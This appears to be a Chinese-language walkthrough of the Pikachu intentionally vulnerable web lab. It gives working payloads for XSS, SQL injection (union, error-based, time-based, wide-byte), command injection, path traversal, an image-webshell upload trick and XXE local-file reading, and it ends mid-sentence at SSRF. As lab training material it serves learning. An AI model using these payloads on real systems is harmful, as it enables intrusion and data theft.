1. 程式人生 > 實用技巧 >pikachu通關筆記

pikachu通關筆記

pikachu通關筆記

pikachu

暴力破解

基於表單的暴力破解

上burp直接剛

繞過驗證碼(on server)

在intruder裡驗證碼可重複使用

繞過驗證碼(on client)

在intruder裡驗證碼也可重複使用,也可以審查元素把相關的程式碼刪除

token防爆破

此處我們發現,正確的和錯誤的長度一樣(上帝視角),找token規律也找不出來,但是可以通過抓包發現,返回了下一次使用的token:

滿足以上條件我們就可以使用burp的魚叉攻擊進行爆破,執行緒必須為1,引數為password和token。

獲取token引數頁面位置(去添加里面找到勾選):

password載荷設定:

token載荷設定:

攻擊結果如下:

Cross Site Scripting

反射型xss(get)

首先嚐試一手樸實無華的<script>alert(1)</script>,發現它限制了字數,直接審查元素,改它的最大長度,彈窗成功:

反射型xss(post)

需要登陸,登陸後,直接樸實無華,彈窗成功,最簡單的彈窗往往只需要一句<script>alert(1)</script>:

儲存型xss

樸實無華。

DOM型xss

什麼是DOM:(DOM) 是中立於平臺和語言的介面,它允許程式和指令碼動態地訪問和更新文件的內容、結構和樣式。

好的看完不懂也沒關係,下面兩張圖帶你深入瞭解。

DOM型不與後臺產生互動,僅與前端產生反應,那麼我們來看看其實質是什麼。

分別輸入hahahh和#' onmouseover=alert(1)>

我們看下面兩張對比圖:

hahahh:

#' onmouseover=alert(1)>:

還是有點sql注入的味道,製造閉合,判斷成為一個彈窗標籤。

onmouseover滑鼠超時時彈窗

DOM型xss-x

' onclick="alert('xss')">

審查一下原始碼:

xxs之盲打

樸實無華。

前臺沒有顯示,點選提示:

然後去登陸發現有彈窗,其實這也是儲存型的xss

xss之過濾

大小寫繞過:

<ScrIpt>alert(1)<SCript>彈窗成功

xxs之htmlspecialchars

' onclick='alert(1)'

'onmouseover='alert(1)'

'onmouseover='javascript:alert(1)'

xss之href輸出

直接用js協議:

javascript:alert(1)

xss之js輸出

</script><script>alert(1)</script>

審查元素:

CSRF

CSRF(get)

根據提示,先登陸一個使用者

這裡我們登陸lili,用burp抓包,修改lili的個人資訊後:

複製生成的連線誘導受害者點選,修改成功

CSRF(post)

和get類似,換湯不換藥

SQL-Inject

數字型注入(post)

burp抓包,數字型,直接id=1 or 1=1爆出所有資料

字元型注入(get)

閉合方式為',直接' union select 1,2--+進行聯合注入

搜尋型注入

直接輸入%進行查詢,因為沒有做過濾,%在資料庫的查詢中匹配任意字元

xx型注入

閉合方式為:')sql('

如:')union select 1,2 or ('1')=('1

') or ('1')=('1直接查詢出所有資料

insert/update注入

在註冊的時候,burp抓包,隨便找一個引數,'閉合,repeater報錯注入

如:' and extractvalue(1,concat('~',(select database()))) and '1'='1

也可以在更新資訊的時候在抓包,在某一引數,進行如上注入

delete注入

刪除時抓包,發現有一個id引數,為數字型,直接repeater,進行報錯注入,注入時發現,查詢時只查詢id後面的連續的一段字串,出現空格則後面的不處理,可以用/**/,+來連線,如:

id=-1+and+extractvalue(1,concat('~',(select+database())))

header注入

使用admin/123456登陸時抓包,在User-Agent,Accept,uname三處地方都可以進行報錯注入,為字元型,payload如下:

' and extractvalue(1,concat(0x7e,(database()))) and '1'='1

盲注(base on boolian)

'閉合,'length(database())>n,能看到不同的效果,上burp直接剛

盲注(base on time)

'閉合,kobe'and sleep(5) %23能看到明顯延遲

寬位元組注入

'前面加%df實現逃逸轉義,burp抓包直接幹,如name=1%df' union select 1,2--+

RCE

RCE概述

遠端系統命令執行,因為設計上需要給使用者提供指定的遠端命令操作的介面,沒有對其做嚴格的輸入控制,導致使用者提交一些其他的系統命令也能夠執行

遠端程式碼執行,同樣的,因為需求設計,也會把使用者輸入的作為程式碼的一部分來執行,如果要給前端使用者提供操作類的API介面,一定要對輸入的內容做嚴格過濾,比如新增嚴格的白名單策略

exec "ping"

如baidu.com|config

exec "evel"

phpinfo();(不要忘了分號

File Inclusion

概述

檔案包含,是一個功能,開發語言內建提供的檔案包含函式,可以使一個程式碼檔案中直接包含(引入)另一個程式碼檔案,比如PHP提供了:

include(),include_once()

require(),require_once()

當檔案包含的程式碼檔案被寫成了一個變數,且這個變數可以由前端傳進來,則可能引發檔案包含漏洞。

分為:

  • 本地檔案包含漏洞:只能對伺服器的本地檔案進行包含,攻擊者可用其進行系統敏感資訊收集。
  • 遠端檔案包含漏洞:能夠通過url地址對遠端的檔案進行包含,可以傳入任意的程式碼。因此在web應用的功能設計上儘量不要讓前端使用者直接傳變數給包含函式,若非要這麼做,也一定要做嚴格的白名單策略進行過濾。

File Inclusion(local)

通過觀察可以發現,filename這個引數可以進行檔案包含,直接filename=../../../../(不斷新增)然後去訪問C盤目錄下的一些東西進行漏洞驗證,或者以上帝視角自己放一個頁面資源在網站根目錄所在盤的根目錄下去訪問。

File Inclusion(remose)

通過filename訪問url,嘗試一下本地伺服器filename=http://127.0.0.1:9096/

Unsafe Filedownload

對使用者要下載的檔案沒有做過濾。

火狐下載後可以在下載欄,複製下載連結:

然後去瀏覽器輸入:

http://127.0.0.1:9096/pikachu/vul/unsafedownload/execdownload.php?filename=kb.png

我們可以通過filename下載任意檔案,如:

Unsafe Fileupload

client check

burp抓包改字尾即可

MIME type

burp抓包,Content-Type處改為image/png即可繞過

getimagesize

判斷了檔案有沒有圖片特徵,cmd命令合成圖片馬,copy 1.php/a+1.jpg/b 2.jpg即可上傳,使用檔案包含即可繞過

Over Permission

許可權管理應該遵守:

  • 使用最小許可權原則對使用者進行賦權
  • 使用合理的許可權校驗規則
  • 使用後臺登陸狀態作為條件進行許可權判斷,而不是前端傳來的條件

水平越權

登陸,檢視資訊,抓包,修改uname為其他使用者可以看到其他使用者的資訊

垂直越權

通過修改url為op2_admin_edit.php,發現pikachu從普通使用者變成了管理者使用者的許可權:

../../

概述

在web功能設計中,很多時候,需要將訪問的檔案定義為一個變數,方便動態呼叫,但是有可能引發目錄遍歷漏洞,(更像是檔案包含漏洞)

目錄遍歷

如:title=../../../README.md

3 敏感資訊洩露

概述

後臺人員的疏忽或者不當的設計,導致不應該被前端使用者看到的資料被輕易的訪問,如:

  • 通過url下的目錄,可以直接列出目錄下的檔案列表
  • 輸入錯誤的url引數後報錯資訊裡面包含作業系統,中介軟體,開發語言的版本或其他資訊
  • 前端的原始碼裡面包含了敏感資訊

IcanseeyourABC

審查元素可以看到註釋裡有一個賬號:

PHP反序列化

概述

通俗來說就是把一個物件變成可以傳輸的字串

反序列化就是把序列化的字串還原為物件,如:

class S{
        public $test="pikachu";
    }
    $s=new S(); //建立一個物件
    serialize($s); //把這個物件進行序列化
    序列化後得到的結果是這個樣子的:O:1:"S":1:{s:4:"test";s:7:"pikachu";}
  	    O:代表object
        1:代表物件名字長度為一個字元
        S:物件的名稱
        1:代表物件裡面有一個變數
        s:資料型別
        4:變數名稱的長度
        test:變數名稱
        s:資料型別
        7:變數值的長度
        pikachu:變數值

反序列化就是把被序列化的字串還原為物件,如:

$u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");
    echo $u->test; //得到的結果為pikachu

php反序列化漏洞

payload:O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

XXE

概述 :即xml外部實體注入漏洞

攻擊者通過向伺服器注入指定的xml實體內容,從而讓伺服器按照指定的配置進行執行,導致問題。

現在很多語言對應的解析xml的函式預設是禁止解析外部實體的。以php為例,在php裡面解析xml用的libxml,在>=2.9.0的版本中,是禁止解析xml外部實體內容的。

xxe漏洞:

<?xml version="1.0" ?> 
<!DOCTYPE name [ 
	<!ENTITY dawn SYSTEM "file:///E:/phpstudy/WWW/pikachu/index.php">
]> 
<name>&dawn;</name>

URL重定向

通過url引數直接重定向

SSRF

概述:服務端請求偽造

SSRF(curl):通過url引數直接訪問內部資源,或者跳轉到其他伺服器頁面

SSRF(file_get_content):利用file_get_content("path")利用傳遞的引數,通過file引數訪問內部資源,或者跳轉到其他伺服器頁面,如: